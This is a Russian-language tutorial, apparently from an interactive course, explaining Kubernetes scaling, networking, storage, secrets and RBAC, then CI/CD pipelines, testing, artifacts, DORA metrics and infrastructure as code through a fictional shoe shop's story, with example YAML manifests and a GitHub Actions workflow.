apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: shop
spec:
parentRefs: [{ name: public-gw }]
hostnames: ["botinok.ru"]
rules:
- backendRefs:
- { name: shop-stable, port: 80, weight: 90 }
- { name: shop-canary, port: 80, weight: 10 }
PodDisruptionBudget: сколько подов можно забрать на обслуживание
Узлы надо обновлять: ставить заплатки безопасности, менять версию Kubernetes. Для этого узел «осушают» (kubectl drain): закрывают для новых подов и по одному выселяют старые. Если на узле три из четырёх подов оплаты, а их выселят разом, оплата ляжет. Чтобы этого не случилось, есть бюджет.
minAvailable) или «недоступными может быть не больше M» (maxUnavailable). Осушение узла и автомасштабирование узлов уважают бюджет и ждут, пока его можно соблюсти.Защищает от добровольных прерываний
Осушение узла при обновлении, удаление узла автомасштабированием, выселение через API выселения (Eviction API).
Не защищает от
Падения узла, сбоя железа, kubectl delete pod. И не управляет выкаткой Deployment — у неё свои maxSurge/maxUnavailable.
minAvailable равным числу реплик (или сделать PDB для сервиса из одного пода). Тогда ни один под нельзя выселить никогда — осушение узла зависает навсегда, и плановое обновление кластера стоит, пока кто-то не придёт разбираться. Бюджет должен разрешать забрать хотя бы один под.apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: pay
spec:
minAvailable: 2 # при 3 репликах — можно забрать один под за раз
selector:
matchLabels:
app: pay
глава 10 · масштабирование больше подов, больше ресурсов, больше узлов
Пятница, 19:00, распродажа. Нагрузка на магазин выросла в пять раз за пять минут. В Kubernetes на это отвечают три разных механизма на трёх уровнях. Их часто путают.
↔ HPA — больше подов
Горизонтальное масштабирование: меняет число реплик по метрике.
↕ VPA — больше ресурсов поду
Вертикальное: подбирает поду requests и limits.
🖥 Автомасштаб узлов
Cluster Autoscaler или Karpenter: добавляет и убирает сами серверы.
replicas у Deployment, чтобы метрика держалась около цели.Формула простая: нужно = ⌈ сейчас × текущее / целевое ⌉. Было 4 пода, средняя загрузка 140 % от запроса, цель — 70 %: ⌈4 × 140 / 70⌉ = 8 подов. Если разница меньше 10 %, HPA ничего не трогает, чтобы не дёргаться. Вверх по умолчанию растёт быстро; вниз — только если в течение последних 5 минут ни разу не требовалось больше (окно стабилизации).
Симулятор: распродажа
Двигайте нагрузку или выберите сценарий и запустите. Один под при загрузке CPU 100 % от запроса обслуживает 100 запросов в секунду; цель HPA — 70 %. Минимум 2 пода, максимум 12. В кластере сначала три узла по 3 пода. Шаг модели — 15 секунд, как у HPA; на графике последние 15 минут.
VPA и изменение ресурсов «на ходу»
«Прямо на человеке» — это изменение ресурсов пода на месте (in-place pod resize), стабильное с Kubernetes 1.35 (декабрь 2025). CPU меняется без перезапуска контейнера; для памяти по умолчанию контейнер перезапускается, это задаётся политикой изменения размера.
Автомасштабирование узлов
Cluster Autoscaler
Видит поды в Pending из-за нехватки ресурсов — добавляет узел в заранее описанную группу одинаковых машин. Видит узел, который давно почти пуст, — переносит поды (уважая PDB) и удаляет узел; по умолчанию ждёт около 10 минут, прежде чем счесть узел ненужным.
Karpenter
Смотрит на ожидающие поды и сам подбирает подходящий тип машины, без заранее заданных групп. Быстрее и экономнее в облаке. Появился в AWS, есть поставщик и для Azure.
| Звено цепочки | Сколько занимает |
|---|---|
| Метрики дошли до HPA | десятки секунд (сбор раз в 15 с плюс усреднение) |
| HPA принял решение | до 15 секунд |
| Под запланирован, образ скачан, приложение поднялось и прошло readiness | от секунд до минут — зависит от размера образа и старта приложения |
| Не хватило места — новый узел создан и вошёл в кластер | обычно минуты |
глава 11 · сеть как найти под, у которого каждый раз новый адрес
Сетевая модель Kubernetes проста: у каждого пода свой IP-адрес, и любой под может достучаться до любого другого напрямую, без трансляции адресов. Эту плоскую сеть строит сетевой плагин (CNI) — Calico, Cilium, Flannel или облачный. Но адреса подов живут столько, сколько сами поды. Корзине нужен адрес оплаты, который не меняется.
Какие бывают Service
| Тип | Где доступен | Как это работает |
|---|---|---|
| ClusterIP (по умолчанию) | Только внутри кластера | Виртуальный адрес, например 10.96.14.7. За ним никакой программы нет: правила на каждом узле подменяют его на адрес живого пода. |
| NodePort | Снаружи, на порту каждого узла | Открывает порт из диапазона 30000–32767 на всех узлах. Сам по себе редко используется, чаще как ступенька для балансировщика. |
| LoadBalancer | Снаружи, через облачный балансировщик | Облачный контроллер создаёт у провайдера балансировщик с внешним адресом. Каждый такой Service — отдельный платный балансировщик. |
| ExternalName | Внутри | Просто псевдоним в DNS на внешнее имя, например на управляемую базу в облаке. |
Headless (clusterIP: None) | Внутри | Без виртуального адреса: DNS возвращает адреса самих подов. Нужен StatefulSet-ам (глава 12) и клиентам, которые балансируют сами. |
Имя в DNS
В кластере работает DNS-сервер (обычно CoreDNS). Каждый Service получает имя вида:
pay.shop-prod.svc.cluster.local │ │ │ └─ домен кластера (по умолчанию) │ │ └────── «это Service» │ └───────────────── пространство имён └─────────────────────── имя Service
Из того же пространства имён достаточно написать http://pay, из другого — http://pay.shop-prod. Именно поэтому в конфигах сервисов «Ботинка» больше нет IP-адресов.
Кто на самом деле направляет пакеты
На каждом узле работает kube-proxy. Он следит за Service и EndpointSlice и переписывает сетевые правила ядра Linux: «пакет на 10.96.14.7:80 — отправь на один из 10.244.1.7, 10.244.2.9, 10.244.3.4». Режимы: iptables — по умолчанию; nftables — стабилен с 1.33 и рекомендуется на свежих ядрах; IPVS — объявлен устаревшим в 1.35. Некоторые сетевые плагины (например, Cilium) заменяют kube-proxy целиком своей программой на eBPF.
Вход снаружи: Ingress и Gateway API
Пройдите путь запроса Анны снаружи до пода.
NetworkPolicy: по умолчанию разрешено всё
Если злоумышленник захватил под каталога через уязвимость, без сетевых правил он сможет стучаться напрямую в базу оплаты. Обычная практика — в каждом пространстве имён правило «запретить весь входящий трафик» и точечные разрешения поверх него.
# 1) запретить всё входящее в пространстве имён
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: { name: default-deny, namespace: shop-prod }
spec:
podSelector: {} # все поды пространства имён
policyTypes: [Ingress]
---
# 2) к оплате — только от корзины, только на порт 8080
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: { name: pay-from-cart, namespace: shop-prod }
spec:
podSelector: { matchLabels: { app: pay } }
ingress:
- from: [{ podSelector: { matchLabels: { app: cart } } }]
ports: [{ port: 8080 }]
Тренажёр: как открыть сервис
Решено 0 из 0.
глава 12 · состояние и особые задачи StatefulSet, тома, DaemonSet, Job
Deployment хорош для сервисов, у которых нет своего состояния: любой под можно убить и заменить любым другим. Но у «Ботинка» есть и другие задачи. Базе нужен свой диск. Сборщику логов нужно быть на каждом узле. Ночной выгрузке для бухгалтерии нужно отработать и закончиться. Для каждого случая — свой объект.
StatefulSet: поды с номерами и своими дисками
db-0, db-1, db-2), свой постоянный диск и своё DNS-имя через headless Service (db-0.db.shop-prod.svc.cluster.local). Поды создаются по порядку (сначала 0, потом 1) и удаляются в обратном. Если db-1 пересоздан, он снова будет db-1 и подключит тот же диск.Ещё одна особенность. Если узел с db-0 перестал отвечать, Kubernetes не создаст новый db-0 на другом узле, пока не убедится, что старый точно мёртв: две копии с одним именем и одним диском могут испортить данные. Под зависает в Terminating, пока узел не вернётся или человек не подтвердит его смерть. Это цена безопасности — и повод для требования «время восстановления хранилища» считать отдельно от stateless-сервисов.
Тома: PV, PVC и StorageClass
ReadWriteOnce
Диск подключается к одному узлу. Самый частый вариант для облачных дисков и баз.
ReadWriteMany
Диск доступен многим подам на разных узлах. Нужна сетевая файловая система; медленнее и дороже.
ReadWriteOncePod
Строже RWO: только один под во всём кластере. Для программ, которые не терпят второго писателя.
Delete: удалили PVC — удалился и диск с данными. Для важных данных ставят Retain и делают бэкапы. 2) Облачный диск обычно живёт в одной зоне доступности. Под с таким диском не может переехать в другую зону — при отказе зоны он будет ждать.emptyDir) и файловая система контейнера исчезают вместе с подом. Загруженные покупателями фото, сгенерированные счета, сессии — только во внешнее хранилище: объектное (S3-совместимое), базу, общий кеш.DaemonSet, Job, CronJob
DaemonSet
Ровно один под на каждом узле (или на узлах с нужной меткой). Добавили узел — под появился сам. Для агентов: сборщики логов и метрик, сетевой плагин, kube-proxy. Как огнетушитель на каждом этаже.
Job
Под, который должен отработать и закончиться успешно. Упал — Job запустит заново, по умолчанию до 6 попыток (backoffLimit). Выгрузка отчёта, миграция данных, пересчёт цен.
CronJob
Job по расписанию в формате cron: "0 3 * * *" — каждый день в 03:00. Можно указать часовой пояс и что делать, если прошлый запуск ещё идёт: разрешить (Allow), пропустить (Forbid) или заменить (Replace).
Тренажёр: какой объект выбрать
Решено 0 из 0.
глава 13 · конфиги, секреты, доступы один образ на все среды и никаких паролей в Git
Образ магазина один и тот же для теста и для боевой среды. Отличаются только настройки: адрес базы, уровень логов, ключ платёжного шлюза. Их кладут не в образ, а в отдельные объекты.
Как переменные окружения
Просто для приложения. Но значения читаются только при старте контейнера. Поменяли ConfigMap — поды продолжат жить со старыми значениями до перезапуска.
Как файлы
Файлы в папке обновятся сами, с задержкой порядка минуты (кроме файлов, подключённых через subPath). Приложение должно уметь перечитывать конфиг. Иначе толку нет.
Secret: почему base64 — это не шифрование
Кодировка base64 — это способ записать любые байты печатными символами. Она обратима без всякого ключа. Это не замок, а перевод на другой алфавит. Проверьте: введите пароль и посмотрите, что попадёт в манифест, а потом раскодируйте его, как сделал бы любой, кто увидел файл.
Как защищают секреты на деле
🔒 Шифрование в etcd
Настройка API-сервера (EncryptionConfiguration), лучше с внешним сервисом ключей (KMS). В управляемых кластерах обычно включается галочкой или уже включена.
🗝 Внешнее хранилище
Пароли живут в HashiCorp Vault или облачном хранилище секретов (например, AWS Secrets Manager, Yandex Lockbox). External Secrets Operator сам копирует их в Secret кластера и обновляет при ротации.
📁 Файлы вместо переменных
Переменные окружения легко утекают: в логи при падении, в отладочные страницы, в дочерние процессы. Секрет в файле безопаснее и может обновляться без перезапуска.
📦 Git без открытых паролей
В репозитории — либо ссылка на секрет во внешнем хранилище, либо зашифрованный объект (например, Sealed Secrets), который расшифровать может только контроллер в кластере.
RBAC: кто что может делать
Аналитику Олегу нужно смотреть поды и логи магазина, но ничего не менять:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: { name: read-only, namespace: shop-prod }
rules:
- apiGroups: [""]
resources: [pods, pods/log, services, events]
verbs: [get, list, watch] # только смотреть
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: { name: oleg-read-only, namespace: shop-prod }
subjects:
- kind: User
name: oleg@botinok.ru # имя приходит от корпоративного входа (OIDC)
roleRef: { kind: Role, name: read-only, apiGroup: rbac.authorization.k8s.io }
cluster-admin «чтобы не мешало». Дать сервисному аккаунту приложения право читать все секреты кластера. Разрешить создавать поды тем, кому нельзя видеть секреты (см. выше: создание пода = чтение секретов). Проверить себя можно командой kubectl auth can-i get secrets -n shop-prod --as oleg@botinok.ru.глава 14 · экосистема и облака операторы, Helm, GitOps и управляемый Kubernetes
Сам Kubernetes — это ядро. Вокруг него выросла огромная экосистема. Архитектору и аналитику не нужно знать её всю, но нужно понимать, что стоит за словами, которые звучат на каждой встрече.
CRD и операторы: научить Kubernetes новым словам
# Оператор CloudNativePG: база PostgreSQL из трёх копий
apiVersion: postgresql.cnpg.io/v1
kind: Cluster
metadata:
name: orders-db
spec:
instances: 3 # один ведущий и две реплики; переключение — забота оператора
storage:
size: 50Gi
Известные операторы: CloudNativePG (PostgreSQL), Strimzi (Kafka), cert-manager (выпуск и продление TLS-сертификатов), Prometheus Operator (мониторинг). Оператор — это тоже программа со своими ошибками и обновлениями. Выбирая его, смотрят на зрелость проекта так же строго, как на саму базу.
Helm и Kustomize: как не копировать YAML по средам
⎈ Helm
Менеджер пакетов для Kubernetes. Пакет (chart) — это шаблоны манифестов плюс файл настроек values.yaml. Установленная копия называется релизом; её можно обновить и откатить. Готовые пакеты есть почти для всего: баз, мониторинга, контроллеров входа. Helm 4 вышел в ноябре 2025 года и для новых установок применяет манифесты на стороне сервера (server-side apply).
🧩 Kustomize
Без шаблонов: есть базовые манифесты и наложения (overlays) для сред — «в проде 6 реплик и другой адрес базы». Встроен в kubectl (kubectl apply -k). Проще читать, меньше магии.
GitOps: термостат для всего кластера
В главе 2 контроллер сравнивал желаемое в etcd с фактическим в кластере. GitOps поднимает ту же идею на уровень выше: желаемое состояние — это репозиторий Git. Агент в кластере (Argo CD или Flux) постоянно сравнивает Git с кластером и подтягивает изменения. Кто-то поправил руками — агент вернёт как в Git. Хотите откатить — откатываете коммит. История изменений кластера — это история репозитория.
Наблюдаемость и сервисная сетка
🔭 Наблюдаемость
Приложение пишет логи в стандартный вывод — агент-DaemonSet на каждом узле (Fluent Bit, Vector, OpenTelemetry Collector) забирает их и отправляет в хранилище. Метрики собирает Prometheus, а kube-state-metrics добавляет метрики объектов: сколько реплик желаемо и готово, сколько перезапусков. Трассировка — через OpenTelemetry. Маленький metrics-server — не мониторинг: он нужен только HPA и команде kubectl top.
🕸 Сервисная сетка
Istio или Linkerd добавляют прокси к каждому поду (или в режиме без sidecar — на узел) и берут на себя шифрование между сервисами (mTLS), повторы, таймауты, балансировку по запросам и разделение трафика для canary. Окупается на десятках сервисов, а не на пяти.
Управляемый Kubernetes
Держать свою плоскость управления — это etcd с бэкапами, сертификаты, обновления три раза в год. Поэтому большинство компаний берут управляемый (managed) Kubernetes у облачного провайдера: Amazon EKS, Google GKE, Microsoft AKS, Yandex Managed Service for Kubernetes и другие. Провайдер держит плоскость управления, вы — всё, что работает на узлах.
| Кто отвечает | Свой кластер | Управляемый кластер |
|---|---|---|
| etcd, API-сервер, планировщик, их отказоустойчивость и бэкапы | вы | провайдер |
| Обновление версии плоскости управления | вы | провайдер, но вы выбираете момент и проверяете совместимость |
| Узлы: обновление ОС, версии kubelet, замена сломанных | вы | обычно вы, с автоматизацией провайдера; в режимах вроде GKE Autopilot или EKS Auto Mode — провайдер |
| Ваши манифесты, ресурсы, пробы, секреты, сетевые правила, права | вы | всё равно вы |
глава 15 · аналитику как Kubernetes меняет требования — и когда он не нужен
Олег пишет требования к новому сервису доставки. Раньше он писал «система должна быть отказоустойчивой и масштабируемой». Теперь он знает, во что это превращается на кластере, и может написать проверяемо.
Сначала главный вопрос: а нужен ли он?
Отметьте, что верно для вашего проекта. Справа появится вывод.
Чем за Kubernetes платят
Обучение команды; минимум пара человек, которые понимают платформу; обновления каждый год; десятки дополнений (вход, сертификаты, логи, метрики, секреты), каждое со своими версиями; сотни строк YAML; новая поверхность для атак.
Что бывает вместо
Для одного монолита или трёх сервисов — пара виртуальных машин с Docker Compose и балансировщиком; бессерверные контейнеры облака (например, Google Cloud Run, Yandex Serverless Containers); платформы приложений (PaaS). Они дают выкатку и масштабирование без своей плоскости управления.
Как требования превращаются в настройки кластера
Щёлкните строку — раскроется, что за этим стоит и о чём спросить платформенную команду.
Частые ошибки — и как их поймать ещё на требованиях
глава 16 · проверь себя двенадцать вопросов о кластере «Ботинка»
Решено 0 из 0.
CI/CD — это конвейер, который превращает каждую правку кода в проверенную версию, готовую к выкатке. Без ручной сборки и без «пятничного релиза». Весь раздел — одна история. Разработчик Борис из магазина кроссовок «Ботинок» собирает релиз руками в пятницу вечером, и всё идёт не так. Мы шаг за шагом заменим каждое его ручное действие автоматикой. Построим конвейер и научим его останавливаться при браке. Опишем серверы кодом. А потом отдадим Git управление кластером.
зачем это зачем магазину конвейер, если «и так выкатываем»
карта раздела одна пятница Бориса, пятнадцать глав
Читайте по порядку: каждая глава чинит одну беду из первой главы. Кнопка переносит к главе.
глава 1 · завязка пятница, 18:30: Борис собирает релиз руками
Сначала три слова, вокруг которых построен весь раздел.
Теперь история. В «Ботинке» четыре разработчика. Новую версию магазина выпускают раз в три недели, в пятницу вечером: «в выходные покупателей меньше, успеем починить». Выпуском занимается Борис — он единственный, кто помнит порядок действий. Пройдите этот вечер по шагам. Смотрите на схему, на часы и на красные пометки внизу: это проблемы, которые накапливаются по дороге.
глава 2 · интеграция долгие ветки, «ад слияния» и разработка в основной ветке
Первая беда пятницы — 23 конфликта при слиянии. Откуда они берутся?
main или trunk, «ствол».Почему долгие ветки опасны — три причины
1. Конфликтов больше
Чем дольше живёт ветка, тем больше в ней правок. И тем больше правок успели сделать остальные. Число столкновений растёт примерно как произведение этих двух объёмов.
2. Каждый конфликт дороже
Через три недели никто не помнит, зачем менял эту строку. Разбирается тот, кто сливает, — часто в чужом коде. Так Борис и выбросил скидку Киры.
3. Смысловые конфликты не видны
Борис перевёл цены в копейки, а Кира в своей ветке считает скидку в рублях. Git сольёт это без единого конфликта — строки разные. Сломается логика. Поймают её только тесты или покупатели.
Посчитайте сами: как частота слияний меняет картину
Двигайте ползунки. Горизонтальная линия — главная ветка за месяц (20 рабочих дней). Дуги — ветки разработчиков: отходят от главной и возвращаются в неё при слиянии. Кружок в точке возврата — ожидаемые конфликты при этом слиянии: чем больше, тем больше конфликтов.
Лекарство: разработка в основной ветке
Сразу возникает вопрос: а если функция делается две недели? Нельзя же вливать в main недоделанную оплату. Для этого есть три приёма.
🚩 Флаг функциональности
Незаконченный код лежит в main, но выключен условием, которое хранится в настройках. Покупатели его не видят. Подробно — в разделе : «выкатить» и «включить» — разные вещи.
🧱 Ветвление через абстракцию
(branch by abstraction) Старую реализацию прячут за интерфейсом, рядом пишут новую, переключают постепенно. Большая замена делается маленькими безопасными шагами прямо в main.
🌓 Сначала невидимое
Сначала вливают то, что никто не вызывает: новую таблицу, новый метод API без кнопки на сайте. Потом подключают. Каждый шаг маленький и безопасный.
Три популярные схемы работы с ветками
Нажмите на строку, чтобы раскрыть пояснение.
глава 3 · стадии конвейер как на автозаводе: посты, ОТК и шнур андон
В пятницу Борис пропустил тесты, собрал программу на ноутбуке и проверил её руками в проде. Конвейер делает то же самое, но по-другому: каждый шаг автоматический, одинаковый и может остановить выкатку.
Одиннадцать постов «Ботинка»: пройдите по ленте
Нажимайте на стадии по очереди. Для каждой — что она делает, какой брак ловит, сколько идёт, чем её делают и на что она похожа на автозаводе.
Почему стадии идут именно в таком порядке
Сначала дешёвое и быстрое
Сборка и юнит-тесты идут минуты и ловят большую часть ошибок. Интеграционные тесты и стенд — дороже и дольше. Если код даже не компилируется, запускать базу в контейнере незачем. Это называют «падай быстро» (fail fast).
Проверки как можно левее
Чем раньше (левее на ленте) найдена ошибка, тем она дешевле. Ошибку в юнит-тесте разработчик чинит за 10 минут, пока помнит код. Та же ошибка, найденная покупателем, стоит инцидента, отката и репутации. Этот принцип называют «сдвиг влево» (shift left).
Артефакт — один
Образ собирается один раз, на пятом посту. Дальше едет именно он: сканируется, тестируется, выкатывается. Никто его не пересобирает «для прода». Почему это важно — глава 6.
git revert) и чиним спокойно. 3) Поверх красной ветки новые правки не вливаем: иначе непонятно, чья правка что сломала. 4) Отключать упавшую проверку, «чтобы не мешала», нельзя. Это как заклеить скотчем лампочку «проверьте двигатель».глава 4 · живой конвейер конвейер, который можно ломать и ускорять
Прошло два месяца. У «Ботинка» теперь есть конвейер из тех самых одиннадцати постов. Борис сделал правку: скидка «Чёрная пятница» −20 % — коммит a3f9c1e. Нажмите «▶ Запустить конвейер» и посмотрите, как коммит едет по ленте. Время в модели идёт примерно в 150 раз быстрее настоящего.
Потом включайте поломки и ускорители. Поломки и ускорители учитываются со следующего запуска. Смотрите, где остановится конвейер, сколько он шёл и что в итоге окажется в проде.
глава 5 · тесты и скорость пирамида тестов, нестабильные тесты и конвейер за десять минут
В пятницу Борис пропустил тесты: «идут 40 минут, и два всё равно красные уже месяц». Это две настоящие болезни: медленные тесты и тесты, которым не верят. Разберём обе.
🧪 Юнит-тест
Проверяет одну функцию или класс, без сети, базы и диска. Идёт миллисекунды. Пример: «скидка 20 % от 4 990 ₽ — это 3 992 ₽». Когда падает, сразу ясно, где ошибка.
🔗 Интеграционный тест
Проверяет код вместе с настоящей базой, брокером или файловой системой, которые поднимаются в контейнерах (например, библиотекой Testcontainers). Идёт секунды. Ловит ошибки в SQL, в настройках, в преобразовании данных.
🤝 Контрактный тест
Проверяет договор между сервисами: «сервис доставки ждёт в заказе поле weight_g — оно есть». Позволяет не поднимать соседа целиком. Популярный инструмент — Pact. Подробнее о договорах — в разделе .
🌐 Сквозной тест (e2e) и смоук
Сквозной (end-to-end) проходит путь пользователя через браузер или API: каталог → корзина → оплата. Идёт десятки секунд, хрупкий. Смоук-тест («дымовой») — самый короткий набор: «включилось и не дымит». Его гоняют сразу после каждой выкатки.
Нестабильные тесты: пожарная тревога от чайника
Проблема не в одном тесте, а в математике. Пусть каждый нестабильный тест падает всего в 5 % запусков. Если таких тестов 14, вероятность, что хоть один упадёт, — 1 − 0,9514 ≈ 51 %. Половина запусков конвейера красная без единой ошибки в коде. Команда привыкает жать «перезапустить», и красный цвет перестаёт что-либо значить. Масштаб беды известен: в Google в 2016 году посчитали, что около 1,5 % всех прогонов тестов давали нестабильный результат, а почти 16 % тестов хотя бы иногда вели себя нестабильно.
Калькулятор: соберите быстрый и честный набор тестов
Задайте, сколько тестов каждого вида, какая доля интеграционных и сквозных нестабильна и на скольких исполнителях гоняем. Цель: конвейер до 10 минут и ложная тревога не чаще 1 запуска из 20.
Как лечить нестабильные тесты
1. Заметить
Система CI помечает тест, который на одном коммите и упал, и прошёл. Ведётся список нестабильных с частотой падений. Без списка всё держится на ощущениях: «этот вроде часто падает».
2. Изолировать
Карантин: тест переезжает в отдельный набор, который гоняется, но не блокирует конвейер. У каждого теста в карантине есть владелец и срок. Карантин без срока — это кладбище.
3. Починить причину
Вместо «подождать 5 секунд» — ждать событие. Каждый тест создаёт свои данные. Время подменяется управляемыми часами. Автоматический перезапуск упавших тестов допустим только временно и всегда с учётом.
Семь способов ускорить конвейер
Нажмите на пункт, чтобы раскрыть.
глава 6 · артефакт собери один раз — выкатывай везде
В пятницу Борис собрал программу на своём ноутбуке с Java 21, а на сервере стояла Java 17. Лекарство — два правила. Собирает всегда конвейер, в чистом одинаковом окружении. А в каждую среду едет один и тот же собранный артефакт.
:1.8.0, :latest) — это бирка, которую можно перевесить на другой образ. Отпечаток перевесить нельзя. Поэтому в прод катят по отпечатку. Как устроены образы и слои — в разделе .# по тегу — «какой-то образ, на который сейчас указывает бирка 1.8.0» ghcr.io/botinok/shop:1.8.0 # по отпечатку — «ровно вот этот образ, и никакой другой» ghcr.io/botinok/shop@sha256:9c1e7f04b2a3d85e61c0f9a4b7d2e3c1a8f60b5d4e7c2a91f3b8d06e5c4b4b7a
Проверьте сами: пересобирать на каждой среде или один раз
В «Ботинке» в файле сборки версия одной библиотеки указана диапазоном 2.+ — «любая 2.x, самая свежая». Выберите подход и посмотрите, что уехало в каждую среду.
Среды: зачем их столько
| Среда | Зачем | Кто пользуется | Данные | Похожа на прод |
|---|---|---|---|---|
| dev | Разработчик смотрит, работает ли идея | Разработчики | Выдуманные | Слабо |
| test | Автотесты и ручная проверка функции | Конвейер, тестировщики | Тестовые наборы | Частично |
| временная | Отдельная копия под один запрос на слияние | Автор, ревьюер, аналитик | Тестовые наборы | Частично |
| stage (стенд, предпрод) | Последняя проверка перед продом: выкатка, миграции, сквозные тесты | Конвейер, команда, иногда заказчик | Обезличенная копия прода | Максимально |
| prod | Настоящие покупатели и деньги | Анна | Настоящие | — |
pr-482.preview.botinok.ru. Аналитик Олег может открыть ссылку и проверить функцию до того, как она попала в main. И никто не стоит в очереди «на тестовый стенд».Конфигурация — снаружи образа
Если образ один на все среды, адрес базы и пароли в нём лежать не могут: они в каждой среде свои. Правило из известного набора принципов «Приложение двенадцати факторов» (The Twelve-Factor App): конфигурация хранится в окружении, а не в коде. Образ получает её при запуске: из переменных окружения, файлов настроек, хранилища секретов. Потренируйтесь: разложите, что куда.
Решено 0 из 0.
глава 7 · доставка непрерывная доставка или непрерывное развёртывание: кто нажимает кнопку
Аббревиатуру CD расшифровывают двумя разными способами, и их постоянно путают. Разница — ровно в одном месте конвейера: в последних воротах перед продом.
Сравните три режима
Переключайте режимы. Зелёная рамка — шаг делает автоматика, жёлтая пунктирная — человек, серая — шаг не автоматизирован вовсе.
Ворота: автоматические и ручные
| Ворота | Тип | Правило | Где стоят |
|---|---|---|---|
| Ревью кода | ручные, но их обязательность проверяет платформа | Одобрение второго человека; без него кнопка слияния не работает | Вход в main |
| Тесты и анализ | автоматические | Все тесты зелёные, новых блокирующих замечаний нет | Стадии 2–4, 7 |
| Скан уязвимостей | автоматические | Нет уязвимостей CRITICAL; исключение — только записанное, с владельцем и сроком | Стадия 6 |
| Одобрение выкатки | ручные | Дежурный или владелец продукта нажал «выкатить» | Перед продом (доставка) |
| Метрики канарейки | автоматические | Доля ошибок и задержка у новой версии не хуже старой; иначе автооткат | В проде — см. |
| Заморозка изменений | правило-расписание | В «Чёрную пятницу» с 00:00 до 23:59 выкатки в прод запрещены, кроме аварийных | Перед продом |
глава 8 · метрики DORA как понять, что стало лучше, — пять цифр вместо ощущений
Два месяца назад «Ботинок» выпускался раз в три недели. Теперь — несколько раз в день. Лучше ли стало на самом деле? Для ответа есть общепринятый набор метрик.
| Метрика | Что измеряет | Как считать в «Ботинке» | Группа |
|---|---|---|---|
| Время внесения изменений (change lead time) | Сколько проходит от коммита до выкатки этого коммита в прод | Медиана «время выкатки − время коммита» по всем коммитам за месяц | скорость |
| Частота выкаток (deployment frequency) | Как часто выкатываем в прод | Число выкаток в прод за неделю | скорость |
| Время восстановления после неудачной выкатки (failed deployment recovery time) | Сколько времени чиним, если выкатка сломала прод | От выкатки, после которой открыли инцидент, до восстановления (откат или исправление) | скорость |
| Доля неудачных изменений (change fail rate) | Какая часть выкаток потребовала срочного вмешательства | Выкатки с откатом или срочной починкой ÷ все выкатки | стабильность |
| Доля вынужденных выкаток (deployment rework rate) | Какая часть выкаток — незапланированные, сделанные из-за инцидента в проде | Срочные выкатки-починки ÷ все выкатки | стабильность |
Калькулятор: где ваша команда
Выставьте значения для своей команды — или для «Ботинка» до и после конвейера. Калькулятор покажет уровень каждой метрики по ориентирам отчёта 2024 года и подскажет, с чего начать.
глава 9 · инструменты чем строят конвейеры и как читать файл конвейера построчно
Конвейер — это файл в репозитории рядом с кодом. Его правят через тот же запрос на слияние, у него есть история. Сам файл исполняет система CI/CD. Самые распространённые — четыре. Нажмите на строку, чтобы раскрыть подробности.
Конвейер «Ботинка» на GitHub Actions: кликайте по строкам
Слева — настоящий по форме файл .github/workflows/shop.yml. Нажмите на любую строку: справа появится объяснение, а связанные строки подсветятся. Номер строки становится цветным, когда вы её уже разобрали. Кнопки «← →» ведут по блокам по порядку.
# .github/workflows/shop.yml
name: shop
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
concurrency:
group: shop-${{ github.ref }}
cancel-in-progress: true
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 15
strategy:
matrix:
shard: [1, 2, 3, 4]
steps:
- uses: actions/checkout@v7
- uses: actions/setup-java@v6
with:
distribution: temurin
java-version: '21'
cache: gradle
- run: ./gradlew check -Pshard=${{ matrix.shard }}/4
image:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
permissions:
contents: read
packages: write
id-token: write
outputs:
digest: ${{ steps.push.outputs.digest }}
steps:
- uses: actions/checkout@v7
- id: push
run: ./ci/build-and-push.sh ghcr.io/botinok/shop:${{ github.sha }}
- run: trivy image --exit-code 1 --severity CRITICAL,HIGH ghcr.io/botinok/shop@${{ steps.push.outputs.digest }}
- run: cosign sign --yes ghcr.io/botinok/shop@${{ steps.push.outputs.digest }}
deploy-stage:
needs: image
runs-on: ubuntu-latest
environment: stage
steps:
- run: ./ci/bump-gitops.sh stage ${{ needs.image.outputs.digest }}
deploy-prod:
needs: [image, deploy-stage]
runs-on: ubuntu-latest
environment: production
steps:
- run: ./ci/bump-gitops.sh prod ${{ needs.image.outputs.digest }}
@v7 — актуальные на момент написания. В промышленных конвейерах сторонние действия закрепляют не по тегу, а по полному хешу коммита: uses: actions/checkout@<40 символов SHA> # v7. Тег владелец действия может перевесить на другой код, хеш — нет. Обновления тогда предлагает бот (Dependabot или Renovate).То же самое на GitLab CI — для сравнения
Слова другие, смысл тот же: стадии, задания, условия, среды, ручной запуск прода.
# .gitlab-ci.yml stages: [test, image, deploy] test: stage: test image: eclipse-temurin:21 parallel: 4 # 4 копии задания; номер копии — в $CI_NODE_INDEX script: ./gradlew check -Pshard=$CI_NODE_INDEX/$CI_NODE_TOTAL cache: key: files: [gradle.lockfile] # ключ кеша меняется, только когда меняются зависимости paths: [.gradle/caches] build-image: # не «image»: это слово в GitLab занято настройкой образа stage: image rules: - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH script: ./ci/build-and-push.sh $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA deploy-prod: stage: deploy environment: production when: manual # ручные ворота: кнопка «▶» в интерфейсе script: ./ci/bump-gitops.sh prod
глава 10 · инфраструктура как код серверы, которые описаны текстом, а не памятью
В пятницу выяснилось: shop-2 когда-то настроил уволившийся коллега, и на нём нет нужной переменной. А shop-1 Борис «быстренько» перенастроил руками. Три сервера должны быть одинаковыми, а на деле каждый уникален. У этой болезни два имени.
Два способа описать: «что должно быть» или «что сделать»
Императивно: скрипт
cloud vm create shop-1 --type t3.medium
cloud vm create shop-2 --type t3.medium
cloud vm create shop-3 --type t3.medium
# запустили второй раз — ошибка «уже есть»
# или шесть машин вместо трёхДекларативно: описание
resource "aws_instance" "shop" {
count = 3
instance_type = "t3.medium"
}
# запустили второй раз — «изменений нет»Terraform и OpenTofu
